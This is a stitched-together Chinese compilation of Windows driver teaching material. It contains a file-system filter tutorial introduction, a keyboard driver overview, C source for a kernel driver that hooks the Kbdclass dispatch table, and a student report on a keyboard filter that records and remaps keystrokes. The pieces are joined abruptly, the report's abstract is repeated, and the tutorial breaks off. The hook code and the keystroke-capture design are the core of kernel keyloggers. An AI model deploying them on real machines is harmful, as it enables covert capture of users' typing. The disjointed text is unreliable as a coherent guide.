任何驱动程序都对应⼀个DRIVER_OBJECT.如何获得本⼈所写的驱动对应的DRIVER_OBJECT呢?驱动程序的⼊⼝函数为DriverEntry,因此,当你写⼀个驱动的开始,你会写下如下的代码:NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath ){}这个函数就相当与喜欢c语⾔的你所常⽤的main().IN是⽆意义的宏,仅仅表明后边的参数是⼀种输⼊,⽽对应的OUT则代表这个参数是⼀种返回。
这⾥没有使⽤引⽤,因此如果想在参数中返回结果,⼀律传⼊指针。
DriverObject就是你所写的驱动对应的DRIVER_OBJECT,是系统在加载你的驱动时候所分配的。
RegisteryPath是专⽤于你记录你的驱动相关参数的注册表路径。
DriverObject重要之处,在于它拥有⼀组函数指针,称为dispatch functions.开发驱动的主要任务就是亲⼿撰写这些dispatch functions.当系统⽤到你的驱动,会向你的DO发送IRP(这是windows所有驱动的共同⼯作⽅式)。
你的任务是在dispatch function中处理这些请求。
你可以让irp失败,也可以成功返回,也可以修改这些irp,甚⾄可以⾃⼰发出irp。
设备对象则是指DEVICE_OBJECT.下边简称DO.但是实际上每个irp都是针对DO发出的。
只有针对由该驱动所⽣成的DO的IRP,才会发给该驱动来处理。
当⼀个应⽤程序打开⽂件并读写⽂件的时候,windows系统将这些请求变成irp发送给⽂件系统驱动。
⽂件系统过滤驱动将可以过滤这些irp.这样,你就拥有了捕获和改变⽂件系统操作的能⼒。
Windows文件系统过滤驱动开发教程(转载)Windows文件系统过滤驱动开发教程0. 作者,楚狂人自述我长期网上为各位项目经理充当“技术实现者”的角色。
我感觉Windows文件系统驱动的开发能找到的资料比较少。
为了让技术经验不至于遗忘和引起大家交流的兴趣我以我的工作经验撰写本教程。
我的理解未必正确,有错误的地方望多多指教。
有问题欢迎与我联系。
我们也乐于接受各种驱动项目的开发。
邮箱为MFC_Tan_Wen@,QQ为16191935。
对于这本教程,您可以免费获得并随意修改,向任何网站转贴。
但是不得剽窃任何内容作为任何赢利出版物的全部或者部分。
1. 概述,钻研目的和准备我经常在网上碰到同行请求开发文件系统驱动。
windows的pc机上以过滤驱动居多。
其目的不外乎有以下几种:一是用于防病毒引擎。
希望在系统读写文件的时候,捕获读写的数据内容,然后检测其中是否含有病毒代码。
二是用于加密文件系统,希望在文件写过程中对数据进行加密,在读的过程中进行解密。
三是设计透明的文件系统加速。
读写磁盘的时候,合适的cache算法是可以大大提高磁盘的工作效率。
windows本身的cache算法未必适合一些特殊的读写磁盘操作(如流媒体服务器上读流媒体文件)。
设计自己的cache算法的效果,我已在工作中有所感受。
如果你刚好有以上此类的要求,你可以阅读本教程。
文件系统驱动是windows系统中最复杂的驱动种类之一。
不能对ifsddk中的帮助抱太多希望,以我的经验看来,文件系统相关的ddk帮助极其简略,很多重要的部分仅仅轻描淡写的带过。
如果安装了ifsddk,应该阅读srcfilesysOSR_docs 下的文档。
而不仅仅是ddk帮助。
文件系统驱动开发方面的书籍很少。
中文资料我仅仅见过侯捷翻译过的一本驱动开发的书上有两三章涉及,也仅仅是只能用于9x的vxd驱动。
NT文件系统我见过一本英文书。
我都不记得这两本书的书名了。
如果您打算开发9x或者nt文件系统驱动,建议你去网上下载上文提及的书。
《驱动程序开发技术》大作业——过滤键盘驱动姓名:***学号:**********班级:计科普0902摘要Kbdclass.sys是键盘的类驱动,无论是USB键盘,还是PS/2键盘都要经过它的处理;在键盘类驱动之下,和实际硬件打交道的驱动叫做“端口驱动”,比如:i8042prt.sys是ps/2键盘的端口驱动,Kbdhid.sys是USB键盘的端口驱动。
键盘中断导致键盘中断服务例程被执行,导致最终i8042prt的I8042KeyboardInterruptService被执行。
在I8042KeyboardInterruptService中,从端口读取扫描码,放到一个KEYBOARD_INPUT_DATA 结构中。
并把这个结构放到i8042prt的输入队列中。
最后会调用内核api函数KeInsertQueueDpc。
在这个调用中会调用上层KbdClass.sys中处理输入的回调函数KeyboardClassServiceCallback,取走i8042prt的输入数据队列里的数据。
利用驱动分层机制,使用过滤驱动捕获键盘的扫描码并保存下来;应用程序定时访问驱动程序取回扫描码,转换成相应的按键名称并显示;通过应用程序设定按键映射,应用程序将指令传送给驱动程序,以实现将指定的按键消息转换成其他按键。
关键词:过滤键盘;驱动分层;映射;扫描码过滤键盘驱动一、主要设计思路利用驱动分层机制,使用过滤驱动捕获键盘的扫描码并保存下来;应用程序定时访问驱动程序取回扫描码,转换成相应的按键名称并显示;通过应用程序设定按键映射,应用程序将指令传送给驱动程序,以实现将指定的按键消息转换成其他按键。
键盘过滤驱动是工作在异步模式下的。
系统为了得到一个按键操作,首先要发送一个IRP_MJ_READ消息到驱动的设备栈,驱动收到这个IRP后,会一直保持这个IRP为未确定(pending)态,因为当时并没有按键操作。
直到一个键被真正的按下,驱动此时就会立刻完成这个IRP,并将刚按下的键的相关数据做为该IRP的返回值。
键盘驱动开发1键盘驱动开发概念键盘驱动被分为不同的组成部分,这样可以给开发键盘驱动带来便利。
一个键盘布局是很关键的,其中包括键的个数和键的配置。
一些私人拥有的键盘使用自定义布局,并且很多键盘可以按照自己的喜好映射按键。
一些键盘驱动需要处理能构产生多个虚拟键的按键。
它在小硬件平台并且不具有所有物理按键的情况下是非常有用的。
一些按键有多个函数,这个驱动产生虚拟键是基于特殊物理按键和修改按键的,例如SHIFT 和ALT。
键盘驱动是按照分层结构执行的,上层为MDD 层,映射扫描码到虚拟键的编码上,产生与虚拟键编码相关的字符,然后打包键盘信息,并且将此信息输入到系统信息队列中。
下层为PDD层,它将从硬件重新获得扫描码。
键盘驱动不同于其他设备驱动,因为他是依靠语言的,这个对虚拟键编码的扫描码和对于统一编码字符传输的虚拟键编码是依靠于键盘的设计语言。
PFN_KEYBD_DRIVER_VKEY_TO_UNICODE函数与产生统一编码字符相关,而这个字符是基于虚拟键盘状态的。
这个函数只是依赖于键盘开发的语言;这些翻译都是以翻译表为基础的,通常被认为是键盘映射,由此你能够定义不同的语言。
如果需要,你可以建立自己的键盘映射或定制已经存在的键盘映射。
这个输入系统在启动时间加载键盘驱动程序。
当输入系统开始运行时,它将从HKEY_LOCAL_MACHINE\Hardware\DeviceMap\KEYBD\Drivername注册键中重新获取键盘驱动动态链接库(DLL)的名字。
如果没有找到入口,输入系统将使用默认名字Keybddr.dll。
然后加载这个DLL,并且核查所有需要的入口点是否存在,然后,这个输入系统调用PFN_KEYBD_DRIVER_INITIALIZE函数去执行一次初始化。
在这个函数中,这个驱动保存输入系统回调函数和初始化硬件,还有为处理键盘中断的中断服务线程(IST)。
当一个中断信号被发出时,键盘驱动与转变硬件扫描码为虚拟按键码有关,并且与回调PFN_KEYBD_DRIVER_INITIALIZE_EX函数和keybd_event API有关。
/pushad/item/0a78c3ba0812e6afeaba9399[寒江独钓] IRP HOOK 键盘过滤之替换原键盘分发函数MajorFunction.h#ifndef _MAJORFUNCTION_HEADERS_#define _MAJORFUNCTION_HEADERS_#include <ntddk.h>#define DELAY_ONE_MILLISECOND 1000000extern POBJECT_TYPE *IoDriverObjectType;extern NTSTATUS ObReferenceObjectByName(IN PUNICODE_STRING ObjectPath,IN ULONG Attributes,IN PACCESS_STATE PassedAccessState OPTIONAL,IN ACCESS_MASK DesiredAccess OPTIONAL,IN POBJECT_TYPE ObjectType,IN KPROCESSOR_MODE AccessMode,IN OUT PVOID ParseContext OPTIONAL,OUT PVOID *ObjectPtr);PDRIVER_DISPATCH OldMajorFunction[IRP_MJ_MAXIMUM_FUNCTION+1];#endif#include "MajorFunction.h"// 原键盘驱动分发统一处理NTSTATUS OldKeyBoardDispath(PDEVICE_OBJECT DeviceObject, PIRP pIrp){NTSTATUS Status = STATUS_UNSUCCESSFUL;PIO_STACK_LOCATION irpStack = NULL;irpStack = IoGetCurrentIrpStackLocation(pIrp);Status = OldMajorFunction[irpStack->MajorFunction](DeviceObject, pIrp); DbgPrint("IRP_MJ_FUNCTIOIN complete successful!\n");return Status;}// HOOK 函数,替换键盘原来的MajorFunctionNTSTATUS MajorFunctionHook(PDRIVER_OBJECT DriverObject){NTSTATUS Status = STATUS_UNSUCCESSFUL;PDRIVER_OBJECT KeyBoardDriverObject = NULL;UNICODE_STRING KeyBoardDriverName;PFILE_OBJECT pFileObject = NULL;int nIndex = 0;RtlInitUnicodeString(&KeyBoardDriverName, L"\\Driver\\Kbdclass");Status = ObReferenceObjectByName(&KeyBoardDriverName, OBJ_CASE_INSENSITIVE,\ NULL, 0, IoDriverObjectType, KernelMode, NULL, &KeyBoardDriverObject);if (!NT_SUCCESS(Status)){DbgPrint("in MajorFunctionHook Get ObReferenceObjectByName by KeyBoardDriverObject Error\n");goto Exit0;}//保存及设置新键盘的MajorFunctionfor(nIndex = 0; nIndex < IRP_MJ_MAXIMUM_FUNCTION; nIndex++){OldMajorFunction[nIndex] = KeyBoardDriverObject->MajorFunction[nIndex]; InterlockedExchangePointer(&KeyBoardDriverObject->MajorFunction[nIndex], DriverObject->MajorFunction[nIndex]);}DbgPrint("IRP_MJ_FUNCTION Hook Successful!\n");// 解除引用ObDereferenceObject(KeyBoardDriverObject);Exit0:return Status;}// 卸载函数NTSTATUS UnLoadDriver(PDRIVER_OBJECT DriverObject){NTSTATUS Status = STATUS_UNSUCCESSFUL;int nIndex = 0;PDRIVER_OBJECT KeyBoardDriverObject = NULL;UNICODE_STRING KeyBoardName;LARGE_INTEGER Delay;RtlInitUnicodeString(&KeyBoardName, L"\\Driver\\Kbdclass");Status = ObReferenceObjectByName(&KeyBoardName, OBJ_CASE_INSENSITIVE, NULL, 0,*IoDriverObjectType,\KernelMode, NULL, &KeyBoardDriverObject);if (!NT_SUCCESS(Status)){DbgPrint("UnloadDriver Get Keyboard Driver Object Error\n");goto Exit0;}// 交换原来的分发函数for (nIndex; nIndex < IRP_MJ_MAXIMUM_FUNCTION; nIndex++){InterlockedExchangePointer(&KeyBoardDriverObject->MajorFunction[nIndex], OldMajorFunction[nIndex]);}DbgPrint("Change MajorFunction Successful!\n");Delay = RtlConvertLongToLargeInteger(5* DELAY_ONE_MILLISECOND);// 延时等待完成KeDelayExecutionThread(KernelMode, FALSE, &Delay);ObReferenceObject(KeyBoardDriverObject);Exit0:return Status;}NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegisterPath) {NTSTATUS Status = STATUS_UNSUCCESSFUL;int nIndex = 0;// 设置新的键盘分发函数for (nIndex; nIndex < IRP_MJ_MAXIMUM_FUNCTION; nIndex++){DriverObject->MajorFunction[nIndex] = OldKeyBoardDispath;}DriverObject->DriverUnload = UnLoadDriver;Status = MajorFunctionHook(DriverObject);return Status;}。
《驱动程序开发技术》大作业——过滤键盘驱动姓名:***学号:**********班级:计科普0902摘要Kbdclass.sys是键盘的类驱动,无论是USB键盘,还是PS/2键盘都要经过它的处理;在键盘类驱动之下,和实际硬件打交道的驱动叫做“端口驱动”,比如:i8042prt.sys是ps/2键盘的端口驱动,Kbdhid.sys是USB键盘的端口驱动。
键盘中断导致键盘中断服务例程被执行,导致最终i8042prt的I8042KeyboardInterruptService被执行。
在I8042KeyboardInterruptService中,从端口读取扫描码,放到一个KEYBOARD_INPUT_DATA 结构中。
并把这个结构放到i8042prt的输入队列中。
最后会调用内核api函数KeInsertQueueDpc。
在这个调用中会调用上层KbdClass.sys中处理输入的回调函数KeyboardClassServiceCallback,取走i8042prt的输入数据队列里的数据。
利用驱动分层机制,使用过滤驱动捕获键盘的扫描码并保存下来;应用程序定时访问驱动程序取回扫描码,转换成相应的按键名称并显示;通过应用程序设定按键映射,应用程序将指令传送给驱动程序,以实现将指定的按键消息转换成其他按键。
关键词:过滤键盘;驱动分层;映射;扫描码过滤键盘驱动一、主要设计思路利用驱动分层机制,使用过滤驱动捕获键盘的扫描码并保存下来;应用程序定时访问驱动程序取回扫描码,转换成相应的按键名称并显示;通过应用程序设定按键映射,应用程序将指令传送给驱动程序,以实现将指定的按键消息转换成其他按键。
键盘过滤驱动是工作在异步模式下的。
系统为了得到一个按键操作,首先要发送一个IRP_MJ_READ消息到驱动的设备栈,驱动收到这个IRP后,会一直保持这个IRP为未确定(pending)态,因为当时并没有按键操作。
直到一个键被真正的按下,驱动此时就会立刻完成这个IRP,并将刚按下的键的相关数据做为该IRP的返回值。
在该IRP带着对应的数据返回后,操作系统将这些值传递给对应的事件系统来处理,然后系统紧接着又会立刻发送一个IRP_MJ_READ请求,等待下次的按键操作,重复以上的步骤。
为了实现截获键盘消息,需要在过滤驱动程序中创建一个挂接到物理键盘设备上层的过滤驱动设备。
系统发送的IRP_MJ_READ消息会首先到达过滤驱动设备,这样就可以有机会给IRP_MJ_READ设置指定的完成例程,然后将消息下传给物理键盘设备。
当有按键动作发生时,IRP_MJ_READ消息在完成后就会调用指定的完成例程,这时就可以在完成例程中读出键盘动作的内容,或者修改这些信息,以实现按键的映射。
表.2:截获键盘消息标准的按键扫描码和ASCII码没有直接的对应关系,大部分按键的扫描码为一个字节;部分功能键为两个字节,且都以0xE0为高字节。
但实验中发现,IRP中返回的按键信息和标准的扫描码并不全等。
在KEYBOARD_INPUT_DATA结构中,MakeCode字段仅包含了一个字节的编码,还要同时参照Flags字段的内容才能判断出按键的扫描码。
下表是KEYBOARD_INPUT_DATA结构中两个字段的内容与其所代表的按键动作的对应关系。
当Flags=0或1时,说明按下的按键是扫描码为一个字节的按键;若Flags=2或3,则说明按下的是扫描码为两个字节的按键,而MakeCode中只保留扫描码的低字节。
表.3:按键动作的对应关系若使用指定的内容改写返回值中的KEYBOARD_INPUT_DATA结构,就可以改变按键的作用,实现按键映射的功能。
除了IRP_MJ_READ以外,对于其他发送给键盘设备的消息,到达过滤驱动设备时就可以不做处理,直接下传给键盘设备,以保证系统的正常工作。
在完成例程中将每次捕获得到的扫描码保存起来,应用程序每隔一定的时间(100ms)读取一次并将其清空,再根据扫描码查表得到相应按键的名称,这样就可以做到在应用程序中实时的显示键盘动作。
用户在应用程序中设定好按键映射的对应关系后,可以通过IRP_MJ_DEVICE_CONTROL消息将映射关系发送给过滤驱动程序,还是在完成例程中实现按键的映射替代。
二、模块的划分、实现及说明具体实现分为驱动程序和应用程序两大部分。
驱动程序用C和WindowsXP DDK实现,应用程序通过VC++ 6.0基于MFC实现。
在调试和测试中使用了DriverMonitor和Dbgview等工具。
下面分别介绍其中主要部分的实现:(一)驱动程序部分1.DEVICE_EXTENSION的定义2.DriverEntry主要任务是填写MajorFunction数组、设置卸载例程,并调用CreateDevice函数。
对所关心的一些消息分别设置回调函数,为其他消息设置通用处理函数。
3.DispatchGeneral对于不关心的那些消息,返回成功值并传递给下一层的键盘设备,本层不作处理。
4.CreateDevice建立设备对象,初始化DEVICE_EXTENSION结构,建立符号链接,将过滤驱动设备挂接到物理键盘设备之上。
5.DispatchRead在收到IRP_MJ_READ的IRP后,为其设置指定的完成例程ReadComplete,然后再将IRP 发送给物理键盘设备。
6.ReadComplete在IRP完成时会调用ReadComplete例程,此时用KEYBOARD_INPUT_DATA结构读取IRP中的返回值,得到按键事件的扫描码并保存。
同时若符合按键映射规则,则改写IRP中的返回值,实现按键的替换。
7.DeviceIOControl实现与应用程序之间的通信。
当应用程序通过DeviceIoControl读扫描码时,利用IRP 中的rmation字段返回一个ULONG类型的扫描码。
当应用程序设定按键映射规则时,同样使用DeviceIoControl通过系统内存缓冲区传递两个ULONG型的扫描码到pDevExt->SetCode数组中。
(二)应用程序部分使用MFC实现应用界面,在程序启动时打开过滤驱动设备。
开辟新的工作线程,实现定时(100ms)读取捕获到的键盘扫描码,将扫描码翻译成按键名称,并按时间顺序将按键动作显示在ListBox中。
设定按键映射规则时,通过DeviceIoControl将两个DWORD类型的扫描码通过系统缓冲IO的方式传递给驱动程序。
三、遇到的问题及解决方法键盘过滤驱动的卸载问题。
在使用常规的驱动卸载步骤时,会发生系统蓝屏重启的故障。
通过分析和查阅相关资料,终于得出了解决的办法。
由于IRM_MJ_READ是异步的,在给IRP_MJ_READ设置了完成例程的情况下,该IRP完成后会调用过滤驱动所指定的完成例程,使得有了处理返回数据的机会。
但也正是因为这样,当动态御载了键盘过滤驱动,也就卸载掉了完成例程,而之后的再次按键动作在完成了这个IRP后还是会调用那个已经不存在了的完成例程,因而引发错误。
同理可知,在安装过滤驱动时,就已经有一个IRP在键盘设备驱动中等待按键了,而该IRP并没有被设置完成例程。
因此可知,在驱动运行之后的第一个按键动作是不会被截获的。
在实验中的确证实了这个推想。
动态卸载的实现,是在设备扩展对象中加入一个IrpPendingCount计数器,用来记录正在运行中的(pending状态)IRP数量。
当收到一个IRM_MJ_READ时计数器加1,在完成一个IRP之后计数器减1。
在驱动卸载例程中,先用IoDetachDevice解除过滤驱动的绑定,使得之后的IRP不会再被设置完成例程;然后要等待到计数器为0,即已被设置了完成例程的IRP都已完成之后才卸载设备和驱动对象。
因此,在进入驱动卸载例程之后,还需要等待一次额外的按键操作才能正常的完成驱动程序的卸载。
// 解除过滤驱动,释放设备对象与物理驱动之间的绑定关系IoDetachDevice(KeyDevice);//等待计数器为0while(pDevExt->IrpPendingCount){}//删除过滤设备IoDeleteDevice(KeyFilterDevice);//删除符号链接pLinkName = pDevExt->ustrSymLinkName;IoDeleteSymbolicLink(&pLinkName);return;四、程序运行结果及使用说明图.1:使用DriverMonitor打开和加载驱动程序图.2:设备对象KeyFilterDriver已被正确创建,并挂接到了键盘设备上图.3:显示经过翻译的按键动作输入按键映射规则,如要将按键A替换成B,则在映射码中输入A的扫描码:0x1E,在目标码中输入B的扫描码:0x30,点击设置,之后的按键A就会被替换成按键B。
关闭应用程序后,在DriverMonitor中卸载驱动,驱动卸载正常(需要一次额外的按键操作)。
图.4:在DriverMonitor中卸载驱动,驱动卸载正常五、总结对于设备驱动这门课程我感觉自己学的不太好,对于一些知识点比较模糊,估计是自己花在这门课程的时间相对较少,这次的大作业对我来说难度不小,但是通过同学和老师的帮助以及在网上的反复查找使我对Windows驱动程序的基本结构有了大致的了解,对IRP的传递和操作方式有了一定的认识和理解,对内核模式和应用模式之间的数据交换有了初步的认识。
在以后的学习生活当中,我会改掉自己学习中的一些坏习惯,对于模糊的知识要尽快去弄清楚,不要一而再再而三的拖下去。